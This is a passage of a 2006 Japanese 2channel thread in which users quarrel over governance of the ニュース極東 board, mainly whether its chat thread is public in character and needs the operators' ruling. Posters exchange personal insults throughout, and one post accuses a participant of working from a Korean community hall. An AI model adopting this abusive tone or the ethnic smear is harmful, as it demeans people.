>>29 名前: 同期の桜@極東 ◆DoukiJieKQ

おまえさー。
オレが同意したわけない(してねーよ。念のため)とはいえ、

http://tmp6.2ch.net/test/read.cgi/asia/1139574674/471 名前: 同期の桜@極東 ◆DoukiJieKQ
>すまんね。今月末までだから。

なんて言ってたくせに、何突然遁走してんだ?
おまえの今月ってのは先週までだったのか?
まったくこんなことでさえ、前言通りにできないヤツ。
よくこんな白々しいこと言えるよな。

まあ、とにかくとっとと反論するか、論点認めるかしてね。




48 :日出づる処の名無し:2006/03/20(月) 19:25:57 ID:po7kckRa
>>47早く消えないと上司にパソコン無断で使ってるのがばれるぞ。

49 :日出づる処の名無し:2006/03/20(月) 19:54:37 ID:WT2QNC6J
ホロン部活動は公認だと思うよ
職場は神奈川韓国会館だもんね、屑虫

50 :同期の桜@極東 ◆DoukiJieKQ :2006/03/20(月) 20:26:31 ID:ucjSNCGE
>>34
こっちからしても予想通りの反応というかなんと言うかw

>>47
遁走?どこがwちゃんといるじゃん。
んで?どうやって解決するのかなー。楽しみだこと。

51 :同期の桜@極東 ◆DoukiJieKQ :2006/03/20(月) 20:30:56 ID:ucjSNCGE
>>2
おまいさーもはやスレのことなんてどうでもいいと思ってるだろ。
そのおまいの脳内わし戦術はもうどうでもいいよ。
自治議論をしちゃいけないなんてことはないとか言っておいてほかの案件は後回し
解決しなければ実質的に永久に後回し=自治スレで話し合われることはない。
おまいこれわかってて言ってる?それ。

>>3-5
またこれも主観に満ちた今までの流れだよなーw

>>6
Aについて
>A、「検証において合意があるか?」→「なければ独断」→「解決にはならない」(18の2)
おまいさー自分で自分の首絞めてるが・・・
スレ立てをすることで解決という合意があるか?→「なければ独断」→「ageスレが立ったからそれで解決だ!」→
「確実に独断」→「解決にはならない」ってことなんだけど。

Bについて
>B、「検証が妥当で、解決と見なせる」→「運営逝かずに解決」→
>   「運営逝き(運営逝かないヤツは議論する資格がない)と矛盾している」(18の1)

こんなことは当たり前の話で運営へ行けってのは検証して来いってこと。
(運営行って違反だというお墨付きをもらって来いって言ってるだろ?)

で、いかなる形であれ検証が妥当なら解決だろ。

おまいは「検証して来い」も「スレを立てての検証」も拒否してるわけだから
話にならんのは当然。

52 :同期の桜@極東 ◆DoukiJieKQ :2006/03/20(月) 20:33:30 ID:ucjSNCGE
>>7
おまいさー本当にその2点が自治スレで取り扱う案件だと思ってるのか?
AもBも主題がわしになってるじゃん。板自治としての案件じゃまったくないぞ。
お前が自称自治厨だからだ!とか言いたいんだろうけど、個人の意見だしねぇ。
それともあれか、自称自治厨なんて冠ははずせってやつかw相変わらずだなぁ。
ただわしを叩きたいだけなら最悪でスレ立てれば?歓迎するけど?w

53 :同期の桜@極東 ◆DoukiJieKQ :2006/03/20(月) 20:57:32 ID:ucjSNCGE
>>35-36
>普段は結構まとも。
船虫Jrからお褒めの言葉いただきましたw

>「馴れ合いの雑談(スレ)」であることが非難されていると思ったらしく
誰もそんなこと思ってないわけだがw
つーか、その前のおまいのレスがこうなってるわけで。
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/237

わしのスレタイに関する見解はこっちに書いてるわけだが。勝手に読み違わんでくれ。
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/241

>>37
そこは個人的な雑談スレとして立ったわけではないわけだが。
しかもそのスレ難民だし。
しかし以下も答えてるのにねぇ・・・何百回答えればいい?

>>38
あら?また議論が排他的云々に戻ったわけで・・・。

>>39
またこの子はごくとうが何が言いたいかわかってないよ・・・
ごくとうの基本スタンスはこっち↓
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/544
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/555

で、変えるんだったら、新しくスレ立てて名前を変えるなり、定期上げするなりやりたいやつがやれば?と。
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/553
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/595-597

で、何かひとつでもやったのかと。

54 :同期の桜@極東 ◆DoukiJieKQ :2006/03/20(月) 21:21:47 ID:ucjSNCGE
>>40
>要するに、同期の桜@極東 ◆DoukiJieKQ ってのは自分が支持されてると
>思っていて、それにべったり頼ってるわけ。
おまいさーこの考え方どっからでてくるわけ?
自治なんて不要!!って意見が大勢を占めるこの板で
自称自治厨ってのははっきり言ってまったく支持なんぞされないよ?
いろんなスレを削除依頼するわけだからな、それに対して非難もあるし。
わしが支持されてると思ってるなんてのは大間違い。

>「運営逝かないヤツは議論する資格はない」ってな「自治(議論)否定」。
そもそもガイドライン違反だとか削除議論だとか言い出したのは誰なのか確認してくれる?
で、削除依頼をしてないから今のように平衡状態が続いてるわけだ。

>こんなことじゃ、どんな案件だって、「運営逝け。話はそれからだ」で終わりじゃん。
削除依頼で終わることならそのほうが早いけど?
ローカルルールとかは運営行けじゃ解決しないわけで。

>だって。何か北の方の政府みたいじゃないか?
どういう考え方をするとこうなるんだ・・・w
今日も平和な自治スレでしたってのは特別緊急に話し合わねばならんような
重大なことがなくて良かったなという意味でしかないし。

>>42
そのたかだか雑談のことに4ヶ月がんばっちゃったわけで。で、何にもなってないわけで。

>>43
2ch自体がたいそうなもんじゃないって・・・じゃーなんで書いてるの?
多数に従う愚ってのはわかるけど、個人の意見が絶対的に正しいという考え方もどうかと思う。
そもそも議論が進まないのは歩み寄らないからだろ。ここは肯定、ここは否定ってやらないからそうなってるんであって。
わしらは削除依頼してもいいよ。それで、結果が否定的な方(おまいの主張)に出たならそれに従うとそう言ってるわけで。

55 :船虫Jr ◆.Tg2yBtH66 :2006/03/21(火) 18:41:00 ID:5Lde6DqH
>>50 名前: 同期の桜@極東 ◆DoukiJieKQ
>遁走?どこがwちゃんといるじゃん。

はいはい。いつものクオリティだね。
遁走ってのは議論からの遁走ということ(>>47)。
誰もスレから逃げたなんて言ってないから。
いちいち、くだらないレスしないでね。

>>51 名前: 同期の桜@極東 ◆DoukiJieKQ
>おまいさーもはやスレのことなんてどうでもいいと思ってるだろ。

また意味のない主観の垂れ流し。で、

>そのおまいの脳内わし戦術はもうどうでもいいよ。

またしても、根拠もなく決め付け。そして、

>自治議論をしちゃいけないなんてことはないとか言っておいてほかの案件は後回し

ってな具合に、「どうでもいいことで自治を蔑ろにしてる」と言い張ると。
まあ、いつも通りの反応だな。
おまえさー。具体的な根拠を出して論じるってこと、何時なったらできるの?
何の根拠もなく決め付けてたら、どんなことでも否定できるじゃん。
おまえ、マジこれくらいのこと分からないのか?
意識的にそうやってるのか、どっちだ?
とりあえず、これに答えてみ。
現物を出して論じたもんを、「脳内わし戦術」とかなんとか決め付けた。
根拠を言ってないのは、どうみても事実だな?
どうしてこういうことするのか答えてみ。

56 :船虫Jr ◆.Tg2yBtH66 :2006/03/21(火) 18:41:26 ID:5Lde6DqH
>>51 名前: 同期の桜@極東 ◆DoukiJieKQ
>>3-5
>またこれも主観に満ちた今までの流れだよなーw

だから、どこがどうおかしいのか言えって。
予想される「同期の桜@極東 」の答え。

1、「>>3-5 が」(誰もそんなこと聞いてないわけだが、この手の幼稚レスは前科有り)
2、「解釈というものは主観だ」(そういう意味での主観だったら何?
                これだと、どんな解釈でも主観のレッテルが貼れるが、
                それで何か反レスなってるわけじゃない。ただ「これは解釈だ」
                と言ってるだけのこと)
3、「オレはただ自分の印象を言っただけ」(これも同じ。そんなもんで反レスのつもりになってんじゃねーっての)
4、「……(スルー)」(ここまで書いたらスルーが一番有りかな。それとも何か気の利いた妄想するか)

なんか、もうミエミエなんだが。
とにかく、反レスがちゃんと成立するように書いてね。

ついでに、以下も似たようなもんだから、以下もよろしく。

57 :船虫Jr ◆.Tg2yBtH66 :2006/03/21(火) 18:42:07 ID:5Lde6DqH
>>51 名前: 同期の桜@極東 ◆DoukiJieKQ
>Aについて
>>A、「検証において合意があるか?」→「なければ独断」→「解決にはならない」(18の2)
>おまいさー自分で自分の首絞めてるが・・・
>スレ立てをすることで解決という合意があるか?→「なければ独断」→「ageスレが立ったからそれで解決だ!」→
>「確実に独断」→「解決にはならない」ってことなんだけど。

また否定されたことの繰り返し。

「スレ立てについては合意するが、検証は合意しないよ。
だけど、そのスレならもちろん、オレの条件を満たしている(一応、オレの問題はクリアだ)」

現物にあるのは、ただこれだけ。
こんなもんで、「確実に独断」とか「解決にならない」とか、「(ここには出てないが)船虫は検証に合意した」とか
いったいどうして出てくるんだ?

58 :船虫Jr ◆.Tg2yBtH66 :2006/03/21(火) 18:42:22 ID:5Lde6DqH
そもそも、自治においては「最終的な解決」とかそういうもんはほとんどない。
ある問題が提起され、それがどういう形であれ、無くなったら「一応解決」なわけ。

A「これが問題だ」
B「そうか、問題か」
(なんか議論が始まる)
A「いや、やっぱ問題提起やめるわ」
B「は?」

これでも解決は解決だ。
最終的な解決などほとんどなく、暫定的な解決で満足してる状況なんだから、
こんな暫定的な終焉でも、解決は解決。
自分で出して自分で引っ込めただけだから、独断もなにもない。
依然として問題があると思うなら、そいつ(Aとは別のヤツ)が引き継げばいいだけ。
こんな状況をふまえて、しかもわざわざ「一応」と付けた「解決」を
独断がどうのという話になるような解決(要するに、民意を踏まえたような最終解決だな)に
勝手に歪曲するおまえって何者?

まあいいや。独断という指摘が妥当するようなことをオレがやってるってんなら、
ちゃんと現物を出してね。こっちは、現物を参照しながらやってんだから。

59 :船虫Jr ◆.Tg2yBtH66 :2006/03/21(火) 18:42:52 ID:5Lde6DqH
>>51 名前: 同期の桜@極東 ◆DoukiJieKQ
>>B、「検証が妥当で、解決と見なせる」→「運営逝かずに解決」→
>>  「運営逝き(運営逝かないヤツは議論する資格がない)と矛盾している」(18の1)
>
>こんなことは当たり前の話で運営へ行けってのは検証して来いってこと。
>(運営行って違反だというお墨付きをもらって来いって言ってるだろ?)

まあ分かってるけど、ほんとバカだな。
おまえが「運営逝け」と言ってることくらい分かってるの。
オレは、それを引用して、矛盾を指摘してるわけ。

イ、「極東板内で検証して解決」

ロ、「運営へ行けってのは検証して来いってこい」
ハ、「運営逝かなきゃ、自治で話す資格はない(バク)」
  http://tmp6.2ch.net/test/read.cgi/asia/1139574674/32
ニ、「(運営に)判断を仰ぎに行ってこいってこと。話はそれからだ」

上の「ロハニ」はほとんど同じ意味だな?
これは、「自治スレでウダウダ議論(検証の議論も含め)してたら、話にならない」と
言ってる。運営のお墨付き(判断)がないと無意味であると。
実際、それで「終了」なんてやってたわけだから、
「運営の判断何しには始まらない(運営判断は必須)」は自明だな?
で、その一方で「イ」は何だ?
運営逝かないのに、何か解決しちゃてるじゃん。
「運営判断は必須」と言いながら、「(桜がやったのは)(運営判断なしだが)、解決だ」と言ってる。
運営判断は必須だけど必須じゃないの?
もう明からさまに矛盾じゃん。

オレはこの矛盾を指摘してるわけ。
なんか妙に曖昧に変換して、その一方(の一部)を言い張っても、
反レスにもならねーよ。

60 :船虫Jr ◆.Tg2yBtH66 :2006/03/21(火) 18:43:33 ID:5Lde6DqH
>>52 名前: 同期の桜@極東 ◆DoukiJieKQ
おまえ、何明からさまな逃げ文句言ってんの?
どうして、これを問題にするかちゃんと書いてるだろが。
文句があるなら、そっちに文句を言えって。

>>53 名前: 同期の桜@極東 ◆DoukiJieKQ
>つーか、その前のおまいのレスがこうなってるわけで。

はあ?だから何?
おまえ自身が言い張ってるように、雑談は議論指向の板(極東板)に不向きだよ。
前段ではそれを指摘してる。で、後段は、今になっては、
>板の雰囲気を害する件。
というのが紛らわしいが、内容は「極東という名の付いたタイトル」だから、
公的な問題が発生してるってことであって、現在の議論となんら変わらない。
ただ、話がウダウダになってきたため、今となってはあまり問題にしてないポイントもある。
それは、http://tmp6.2ch.net/test/read.cgi/asia/1128258920/341 にも関連するが、
2chの慣例として、板名を冠した雑談スレは「板の顔」になってるということ。
これも当該雑談スレが公共性をもつ理由の一つじゃん。
公共性を言ってるという証拠になるだけで、言ってないなんて証拠にはならない。

61 :船虫Jr ◆.Tg2yBtH66 :2006/03/21(火) 18:43:56 ID:5Lde6DqH
つーか、

>当該スレをSAGE進行してりゃ問題ないと思ってるんだろうが、そうはいかない。

これが全てを物語ってる(これは後に言う「しかし以下」と同じ)。
だいたい、反論が出る前の発言なんだから、馴れ合い雑談自体の問題点を指摘するのは当たり前。
おまえが「馴れ合い雑談になってない」とか「雑談は板に合ってる」なんて言い出すかもしれんからな。
で、実際は、「スレの内容が板に合ってない雑談になってる」ってのは認めたわけだろ?
今後これについて強調していく方がおかしい。
だが、ズレてるのは、「極東という名の付いたタイトル→公共性」という点。

船「板に合わない(みっともない)。SAGE進行してりゃ問題ないと思ってるんだろうが、そうはいかない(公共性があるから)」
桜「板に合わないから、SAGE進行にしてる。だが、雑談スレは一般に認められてる」
船「だから、雑談スレ一般を問題にしてるわけじゃないの。これはただの雑談スレじゃなくて、公共性があるもんだろ?」
桜「板に合わないから、SAGE進行にしてる。だが、雑談スレは一般に認められてる。
  これが2chの仕様であって、文句があるならひろゆきメールしろ。それがないと話にならない」

こんな感じだろ。おまえ(ら)の頭には「ただの雑談スレ」という認識しか入力されてないわけ。

http://tmp6.2ch.net/test/read.cgi/asia/1139574674/338
>> ・当該のスレは、一般的な雑談スレではなく、極東板の名を冠した公的性格を持つスレである。
>唯単なる雑談スレですが・・・w

↑これなんかその典型。
結局、レスの印象だけでテキトーなレスを返しているだけで、
その論理をまるで理解できてない。

62 :船虫Jr ◆.Tg2yBtH66 :2006/03/21(火) 18:44:28 ID:5Lde6DqH
>>53 名前: 同期の桜@極東 ◆DoukiJieKQ
>わしのスレタイに関する見解はこっちに書いてるわけだが。勝手に読み違わんでくれ。

だから、そのレスの前にも、今回の>>39にもニッチの話をしてんだろが。

>>39名前: 船虫Jr ◆.Tg2yBtH66
>オレが「極東板自治スレ」とタイトル欄に書いただけのスレだが、
>このスレを公的性格があるとして扱ってるわけだ。

おまえ、↑これを完璧スルーしてるようだが、
いまだにこういうことが分からないの?
しかも、自分でやってることだぞ。

http://tmp6.2ch.net/test/read.cgi/asia/1128258920/241 名前: 同期の桜@極東 ◆DoukiJieKQ
>で、ニュース極東板雑談スレッドだが。すごくシンプルにここが雑談です。と言っているだけだけども?

そもそも、「板名を冠する」ということに何ら答えてないのは明らかなんだが、
おまえが特別の意味もなく、ただ「極東板雑談スレ」とタイトル欄に入力しても、
2chの習慣から、それが「極東板の雑談スレ」として、見られるわけ。
後に言った「削除問題」からすれば、「このスレは公的な雑談スレだから、残しておこう」
ということになるし(というか、これを削除しても同じタイトルのスレが立つだけだろ?)、
2ch全体の慣習から見て、このスレは「極東板の顔」として、別板のヤツが気軽な質問をしたりする。
「オレは公的なものにするつもりもなく、ただ『極東板雑談スレ』とタイトル欄に入力しただけ」
とか言っても、公的な性格がなくなるわけじゃない。それがニッチってもんだろが。
事実、おまえだって、オレが勝手に立てたこのスレを「極東板自治スレ」という公的なスレとして扱ってる。
それに、ごくとうと同じように、「タイトルなんてどうでもいい」なんてことなら、
意固地にならずに、タイトル変更(例の三択の一つ)に合意しろ。

63 :船虫Jr ◆.Tg2yBtH66 :2006/03/21(火) 18:44:48 ID:5Lde6DqH
>>53 名前: 同期の桜@極東 ◆DoukiJieKQ
>
>>37名前: 船虫Jr ◆.Tg2yBtH66
>>で、前スレで延々と「『しかし以下』に答えてない。答えていると言うなら現物(スレ番)示せ」
>>と言っても、ただ「答えた」と言い張るだけ(http://tmp6.2ch.net/test/read.cgi/asia/1139574674/263 とか)。
>>これが、前スレから前々スレで行われた「本来の問題提起」に関する対応状況。
>
>しかし以下も答えてるのにねぇ・・・何百回答えればいい?

おまえは基地外か?
「しかし以下も答えてるのにねぇ・・・何百回答えればいい? 」
なんて返答が非難されるのに、よく平気で同じ返答ができるな。

オレは、「答えていると言うなら現物(スレ番)示せ」 と言ってるわけ。
そんな返答じゃ、話にならんと。
こんなの日本語そのままだぞ?
読解力がないなんてレベルの問題じゃない。
ほとんど文盲の世界。
なー。どういう日本語書けば、おまえに通じるわけ?

>あら?また議論が排他的云々に戻ったわけで・・・。

これも無茶苦茶。
排他性を言ってたら何?
何か反論になるの?

64 :船虫Jr ◆.Tg2yBtH66 :2006/03/21(火) 18:46:41 ID:5Lde6DqH
>>53 名前: 同期の桜@極東 ◆DoukiJieKQ
>またこの子はごくとうが何が言いたいかわかってないよ・・・
>ごくとうの基本スタンスはこっち↓

だから、それも前スレの繰り返しだろが。
オレは別に「ごくとうがオレとの遣り取りに不満を持ってない」なんて言ってないの。
そもそも、
>同期の桜@極東 ◆DoukiJieKQ よりずっと反抗的だが、不満を垂れつつも
とちゃんと書いてる。
オレは「不満を垂れつつも、『タイトル変えてもいいよ』とか妙に素直なこと言ってる」と書いた。
これに対して、不満があるから、何なの?

それと前スレでガイシュツだが、スレ立て以前のレスを持ち出して、
スレ立てに関する修正話として扱うアホはすんな。

65 :船虫Jr ◆.Tg2yBtH66 :2006/03/21(火) 18:48:15 ID:5Lde6DqH
>>54 名前: 同期の桜@極東 ◆DoukiJieKQ
>>要するに、同期の桜@極東 ◆DoukiJieKQ ってのは自分が支持されてると
>>思っていて、それにべったり頼ってるわけ。
>おまいさーこの考え方どっからでてくるわけ?

だからさー。正直言って、上(>>63)のような“ほとんど文盲としか思えないレス”を
正気な人間がするとは思えないわけ。
既に言ったように、少なくとも利害関係のない問題(自分のスレじゃない問題)に
関しては、オレでさえ文句がでないような対応してんだろ?
何で自分たちのスレになるといきなり文盲状態になるわけ?
わざとやってるとしか考えられないじゃん。

結局、誰もスレの内容なんか読んでないから、
その場しのぎでテキトーなこと書けばいいって腹だろ?

そうじゃなかったら、どう解釈すんだよ?
言ってみ。

で、そういうヤツ対策のために、
「誰が見ても自明な間違い」
ってのを二点晒してるわけだが(>>39と前スレの最後)。
それはどうした?
ここではこっちの方が肝心なんだぞ。
自明な間違いも認められないようでは、その他の問題など
解決どころか議論自体成立しない。

66 :船虫Jr ◆.Tg2yBtH66 :2006/03/21(火) 18:49:08 ID:5Lde6DqH
はい。これがその二点。とっとと答えてね。

A: 同期の桜@極東 ◆DoukiJieKQ が「船虫は検証に合意した」と言い張ってる件。

B: 同期の桜@極東 ◆DoukiJieKQ が「架空の話はどういう風にでも解釈できるのでダメ」と言い張ってる件

これらは、間違いだったと認めるの?
それともまだ何か反論する?
集中審議なんてやってるが、Aは本論にとっても重要なポイントだし、
Bは、これでオレの主張が無効化されてるわけだから、
これらを「無かったこと」にはできない。

67 :バク ◆Zseml6E7q6 :2006/03/21(火) 18:59:07 ID:+98LmAs6
文盲の蟲ちゃんへw

自称「自治厨」の同期タンや、自治いらない派の私が一致した
意見があるんだが・・・w

それは、「管理人や運営側の意向には従う」って意見。

ちなみに、同期タンやごくとうさんや私は現状維持派だから、雑談スレに関しての
削除依頼や苦情メールは行う予定は今の所無い。
また、現状維持で何年もスレが立っている訳だから、ある意味管理・運営側の
お墨付きを貰っているわけやw

ただし、蟲ちゃんは変更を要望しているんだから、管理人や運営側のお墨付きを
貰ってこなければならない。

早く↓の、

asia:ニュース極東[スレッド削除]
http://qb5.2ch.net/test/read.cgi/saku/1085400725/l50

2ch@2ch.net

どちらかに蟲ちゃんの考えを書き込み、お墨付き貰ってきてねw

4月1日以降は付き合ってやる予定は無いから。

3月31日までに蟲ちゃんが運営側のお墨付きを貰ってこない時点で、
4月1日にこのスレを削除依頼するから。


68 :船虫Jr ◆.Tg2yBtH66 :2006/03/22(水) 20:57:37 ID:ztOeg6IY
桜はお休みのようだから、ここで、別の観点から問題を説明しておくか。

同期の桜@極東 ◆DoukiJieKQ =ガイドラインやローカルルールの厳格適用派
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/256
船虫Jr ◆.Tg2yBtH66 =非厳格適用派
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/249

例えば、雑談スレの数は2,3という規定
http://info.2ch.net/guide/adv.html#saku_guideの5)
に対し、実際の雑談スレはその数を遙かに超えている。
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/311-315
ルールを厳格に適用した場合、ほとんどのスレが削除されることになる(2、3にする)。
削除要請(が趣味)の厳格適用派は、削除要請すればいい。
(なお、この「いい」は削除可能といった意味で、「しろ」と言ってるのではない)。
そもそも、削除要請の前に自治スレで話し合うなどというルールはない。
同期の桜@極東 ◆DoukiJieKQ は削除要請板の常連で、かつ、厳格適用派なのだから、
削除要請してて当然であろう。しかし、非厳格適用派のオレ(船虫Jr ◆.Tg2yBtH66)は
厳格適用は不適当だとする立場だから、それに当たらない。
前々スレで言ってるように、オレが不適当だと言う理由は、
削除してもまた立つだけだし、「削除しまくり」は板の過疎化に繋がったり、
公益という観点から利益がないということ。

69 :船虫Jr ◆.Tg2yBtH66 :2006/03/22(水) 20:58:25 ID:ztOeg6IY
で、ここで問題だが。

1、同期の桜@極東 ◆DoukiJieKQ はなぜ削除要請に逝かないのか?
2、削除逝きが不適切だとしてる言ってるものに、なぜ削除逝きを強要するのか?
3、強要しても逝くことはないわけだが、なぜそんな無駄なことをするのか?
4、仮に削除要請に逝くとして、どのスレを削除し、どのスレを残すよう要請するのか?

これだけ見ても、同期の桜@極東 ◆DoukiJieKQ がいかに支離滅裂であるか分かるだろう。

A、同期の桜@極東 ◆DoukiJieKQ がやったという「検証」はスレの需要があるかどうか。
  (言うまでもなくオレは「そんなこと意味ない」と言ってる。>>4
  上記のスレは、全てシリーズスレであり、需要があるという点では否定できない。
B、同期の桜@極東 ◆DoukiJieKQ はこの検証なるもので判明したとする「需要」を理由に
  問題の雑談スレを、削除対象から外すつもりのようだが、これを特別視する理由にはならない。
C、特別視する理由があるとすれば、http://tmp6.2ch.net/test/read.cgi/asia/1139574674/315
  で言ったように、「板毎に、板名を冠する雑談スレがあるのは2chの慣例」ということで、
  これは当該スレの公共性を認めるものに他ならない。が、この点に関して、同期の桜@極東 ◆DoukiJieKQ は
  公共性という指摘を完全に拒絶し、「ただの雑談スレ」と言い張る。
D、いずれにせよ(BでもCでも)、検証という作業によって、スレに対して向けられた問題が解決するということは
  運営逝かずに問題が解決するということであり、「運営逝かなきゃ話にならない」と矛盾する。

70 :船虫Jr ◆.Tg2yBtH66 :2006/03/22(水) 20:58:41 ID:ztOeg6IY
で、極めつけは、いまだに「検証によって問題は解決した」と「運営逝かなきゃ話にならない」を
同時に言い張り、自治議論の拒絶どころか、自治スレまで削除すると言い出してること(>>67)。
削除要請は個人の自由だから、削除要請したいならすればいいわけだが、この自治スレも
件の雑談スレと同じで、削除しても何も解決しない。ごくとうは前々スレで、
「おまえが雑談スレ立てればいいじゃん」と言ってるわけだが
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/586 )、
これは「オレ達はそのスレを使う」って意味だ(気に入らないと言って別スレ立てれば重複になる)。
これと同じことで、削除してもまた立てられるだけだし、他者が立てても、別にオレはそれを使うだけ。
「スレタイによって占拠されるニッチ」とはそういうもの。
ニッチは公的なものだが、同期の桜@極東 ◆DoukiJieKQ はこれをまるで理解してない(あるいは理解を拒絶してる)。

というか、どういう理由で自治スレを削除要請すんのかさっぱり分からんが?
なんか興味があるからとっとと逝ってきてみ>バカ(バク)。

71 :船虫Jr ◆.Tg2yBtH66 :2006/03/22(水) 20:59:38 ID:ztOeg6IY
おそらく、以下が真のポイント。

侍:使用法に問題有り(排他的に使用している)と問題提起。
船:「ただの雑談スレじゃなくて公的性格があるから、使用法のまずさは確かに問題」
桜:(桜=主な使用者であり、使用法に問題があるなど認めたくないのか)
  「雑談スレは認められてる」とズレた返答をする。
  (「使用法問題→スレの適正問題」とすり替える)
船:「そうじゃない。問題なのはスレそのものではなく、その使用法。
  だが、使用者自身がは自由に書くと言ってるんだから、残る選択肢はタイトルを変えるか
  SAGEルールをなくすか。このどちらかだろう」 
桜:「運営逝け。話はそれからだ」
  (あくまで使用法じゃなくスレの適正だとして、
  「スレがまずいなら削除問題」と言い張る)

・公的なスレ→それなりに使うべき。
・ただのスレ→特に規制無し(普通の2chスレ通り)。

要するに、排他的であることが問題になるのは、そのスレが公的であるため。

Q、公的なスレ(例えばこの自治スレ)において、使用法がまずかったら?
1、削除要請する。
2、使用者に注意する。
3、スレの使用法を冒頭に書く(あるいは適切なものに変える)

答えは明らかに2か3であり、1は不適切。1であれば、
もし「荒らしが来た→使用状況が無茶苦茶(使用法がまずい)」になったら、
自治スレを削除しなければならないわけで、荒らしの思惑通り。こんな無茶なことはない。
で、2か3だが、スレの主要な使用者が自ら「自由に使う(ただのスレと同じように使う)」
と言い張ってるし、注意が効果を持つ掲示板ではない。それゆえ、3でなんとかするしかない。

72 :船虫Jr ◆.Tg2yBtH66 :2006/03/22(水) 21:00:09 ID:ztOeg6IY
逆に言えば、「公的なスレにおける使用法のまずさ」ほど、自治議論に相応しいものはない。
しかし、そんな典型的な自治問題にもかかわらず、あくまで、
“「桜(バク)=主な使用者」であり、使用法に問題があるなど認めたくないのか”、
これをスレ削除の問題だと決め付け、

バ「運営逝かないヤツは、ここに書き込む資格はない」
船「はあ?」
桜「運営逝け。話はそれからだ」
船「おまえらなー。都合が悪くなると議論拒否かよ。
  まあ議論したくないのは分かるが、どさくさに自治否定に値するような暴言を吐くな」

ってな感じ。自治における問題の大きさから言えば、雑談スレの1より、
自称自治厨が自治議論を無効化する主張をしてる方が大きい。
実際、使用法に関しては「自由に使って何が悪い」と言うばかりで、
その前提になってる「公共性」に関しては、完全スルー。
何度も「返答してるなら、そのレス番を示せ」と言っても出てこない。
「使用法がまずい!」
「いや、まずくない!」
という水掛け論以前に、相手の論点をまるで認知してない(というより分からないふり)。
そもそも、「需要があるから、当該スレは妥当」なんてのは論点を把握してない証拠。
こんなことでは、どんな案件も「削除要請逝け。話はそれからだ」で終わり。
通常、運営はこんな込み入った話には口出ししないし、ローカルルールを変えるとか、
自治でしかできない案件なら、完全に無効化される。

A「ローカルルールを○○に変えるべき」
B「文句があるなら、運営逝って“板削除”の要請してこい」
A「はあ?何で板削除?」
B「運営逝かないヤツは、ここで議論する資格はない」

議論したくないなら、始めから議論に応じないことにする方がまだまし。
自称自治厨として、遁走に耐えられないなら、論点を噛み合わせた返答をしろ。
誤魔化したいからって、自治議論否定の暴論を吐くなど、もってのほか。

73 :日出づる処の名無し:2006/03/22(水) 21:05:34 ID:0bMdWJ59
>>72(省略されました・・全てを読むにはここを押してください)
を律儀にクリックしてお前の糞つまんねぇ書き込みを読んでくれる奴が
いるとでも思ってんのかよ?w

74 :同期の桜@極東 ◆DoukiJieKQ :2006/03/22(水) 21:35:54 ID:hcVXeZp8
勝手にお休みにしないようにw

>>55
>またしても、根拠もなく決め付け。
わしの頭の中のことがわかるってすごいねーw
おまいが同期の桜はこう思っている(いた)だろうというようなことを書いてるけども、
わしの頭の中で考えたことを調べたって言う根拠を出してくれる?w

>ってな具合に、「どうでもいいことで自治を蔑ろにしてる」と言い張ると。
何を言うとんじゃおまいは。根拠がないとか言うけどさー
待ってろって言ってほかの案件を後回しにしたのはおまいだぞ。いちいちソース出されんと
思い出せんのか?そんなことはないだろ。

>現物を出して論じたもんを、「脳内わし戦術」とかなんとか決め付けた。
>根拠を言ってないのは、どうみても事実だな?
同期の桜の戦術(>>2の一番上のURL)って書いてあるが、そもそもそんな戦術をとってないし。
つーか、戦術なんぞとってないわけで。それをこうだ!と決め付けてるおまいの脳内わし戦術だろうが。
それが事実とな?そりゃー面白い。

75 :同期の桜@極東 ◆DoukiJieKQ :2006/03/22(水) 21:37:51 ID:hcVXeZp8
>>56
>5、反論に窮する
何を根拠に反論に窮してるというのかね。反論はちゃんとしてるんだが。

>7、これに同調し
裁判ごっこをしていたのは船虫Jrで結論がいつまでも出ないので
判決という形でレスをした。わしは最初から削除依頼に行け(検証の意味でな)といってるわけで。
とってつけたように削除依頼に行けって言ってるわけじゃないし。

んで、裁判ごっこをしていたのでそこに終止符を打ったことが
解決策がないなら運営に行けに同調したとなる根拠を示せ。

>9、一応解決される方向へ
解決したと勝手に考えてるのはおまいの主観

>13、意味不明なことを
結果を待てばおのずとこの先のことが見えるということゆえ
意味不明なことというのはおまいが勝手に考えたこと。

>13、複線のつもりだった
結果が逆になれば複線にも何にもならんわけで。
最初から複線として結果を待てといってるわけではないので
それはおまいの主観。

>15、返答拒否
返答してるじゃん。拒否というのは返答しないということだが。

>18、結局、同期の桜@極東の独断ではないか?
そもそも検証スレという形で立てたのはごくとうであり、
わしが検証スレを立てることを決めたわけでもないし、結果が出たが?と言ってるだけで。
スレを立てることはおまいとの合意じゃなかったっけ?これでわしの独断というのはおまいの主観にすぎん。

76 :同期の桜@極東 ◆DoukiJieKQ :2006/03/22(水) 21:39:57 ID:hcVXeZp8
>>56
>20、18の2)に関して明からさまな嘘を言い始める。
おまいが合意したとか書いてるから、その合意があったということにしたがうならば
そうなるというだけの話。合意なんかなかったのに合意したとか言ってるとしたならば
それの方が嘘になる。

>22、↑頓珍漢ループの典型!
ループさせてるのはどっちなんだと。おまいの主観じゃねーか。
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/407

>>57
ハァ・・・。まったく読めてねぇ。
>「スレ立てについては合意するが、検証は合意しないよ。
>だけど、そのスレならもちろん、オレの条件を満たしている(一応、オレの問題はクリアだ)」

これがどっからどう見ても独断になっちゃうぞ?って言ってるんだけど。
オレが決めた条件を満たしたんだからageスレがたったら解決なんだよ!
これ以降sage進行スレは禁止だ!!!!ってこれだどうして独断といえないのだろうか。
誰も合意してないしねぇ。あれ?合意したんだっけ?

>>58
A「これが問題だ」
B「いやー、問題じゃないだろ」
(なんか議論が始まる)
B「じゃー(検証のために)スレ立てるわ」
(スレが立つ)
A「よし、これで解決だ!!」
B「は?検証のためだって言ってるじゃん」
A「いや、解決だ!!」

↑これで解決って言うの?
相手が納得もせず、グダグダなままで解決って思い込んでるAがいるだけじゃん。

77 :同期の桜@極東 ◆DoukiJieKQ :2006/03/22(水) 21:41:52 ID:hcVXeZp8
>>59
